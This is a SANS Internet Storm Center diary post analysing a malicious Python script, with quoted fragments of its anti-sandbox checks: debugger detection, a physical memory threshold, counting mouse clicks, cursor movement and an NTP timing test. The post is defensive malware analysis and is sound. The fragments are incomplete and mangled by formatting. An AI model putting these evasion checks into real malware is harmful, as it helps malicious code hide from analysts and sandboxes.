Multiple Layers of Anti-Sandboxing Techniques, (Tue, Oct 31st)

Category :

SANS Full Feed

Posted On :

It has been a while that I did not find an interesting malicious Python script. All the scripts that I recently spotted were always the same: a classic intostealer using Discord as C2 channel. Today I found one that contains a lot of anti-sanboxing techniques. Let’s review them. For malware, it’s key to detect the environment where they are executed. When detonated inside a sandbox (automatically or, manually, by an Analyst), they will be able to change their behaviour (most likely, do nothing)

Like all scripting languages running in the Windows eco-system, Python can call any Microsoft API call and there are useful to perform check at operating system. Here is what the scripts try to detect:

1. Is the script running inside a debugger?

from ctypes import *
XVeGwgv = windll.kernel32.IsDebuggerPresent()
if XVeGwgv == 0:

2. Does the host have enough physical memory?

import ctypes
class CaMiHTTSf (ctypes.Structure):
_fields_ = [
(“dwLength”, ctypes.c_ulong),
(“dwMemoryLoad”, ctypes.c_ulong),
(“ullTotalPhys”, ctypes.c_ulonglong),
(“ullAvailPhys”, ctypes.c_ulonglong),
(“ullTotalPageFile”, ctypes.c_ulonglong),
(“ullAvailPageFile”, ctypes.c_ulonglong),
(“ullTotalVirtual”, ctypes.c_ulonglong),
(“ullAvailVirtual”, ctypes.c_ulonglong),
(“sullAvailExtendedVirtual”, ctypes.c_ulonglong),
jJrSHLb = CaMiHTTSf()
jJrSHLb.dwLength = ctypes.sizeof(CaMiHTTSf)
if jJrSHLb.ullTotalPhys/1073741824 > 3:

3. Is there a user behind the keyboard, pressing keys?

import win32api
nPnpCRlvJ = 0
CsZoAodMwrnNBW = 100
while nPnpCRlvJ < CsZoAodMwrnNBW:
BBpvCYBI = win32api.GetAsyncKeyState(1)
RkfbrNjlQLiYMc = win32api.GetAsyncKeyState(2)
if BBpvCYBI % 2 == 1:
nPnpCRlvJ += 1
if RkfbrNjlQLiYMc % 2 == 1:
nPnpCRlvJ += 1
if nPnpCRlvJ >= CsZoAodMwrnNBW:

4. Is the mouse moving?

from time import sleep
import win32api
dJpkzPW = 30
ESPKUCFSNpN, MNoTiqFAmrJb = win32api.GetCursorPos()
sToXQq, nGVNgR = win32api.GetCursorPos()
if ESPKUCFSNpN – sToXQq != 0 or MNoTiqFAmrJb – nGVNgR != 0:

5. Is the script spending too much time in a debugger (ex: Python debugger)

from time import sleep
from socket import AF_INET, SOCK_DGRAM
import sys
import datetime
import time
import socket
import struct
client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex(“1b”) + 47 * bytes.fromhex(“01”)), (“”,123))
msg, address = client.recvfrom( 1024 )
BsaylVZq = datetime.datetime.fromtimestamp(struct.unpack(“!12I”,msg)[10] – 2208988800)
client.sendto((bytes.fromhex(“1b”) + 47 * bytes.fromhex(“01”)), (“”,123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack(“!12I”,msg)[10] – 2208988800)) – BsaylVZq).seconds >= 100000):

Only if all these checks results are negative, then the Python will perform the malicious actions and inject a shellcode in memory…

Note that this script remains simple. They are plenty of sandbox-evasion techniques available[1].

The script (SHA256:a6eac5716bce341f14569d69fcac4f449e9c0f1e97adeb9cb4d02dc82962a30a) has a VT score of 12/61[2].


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.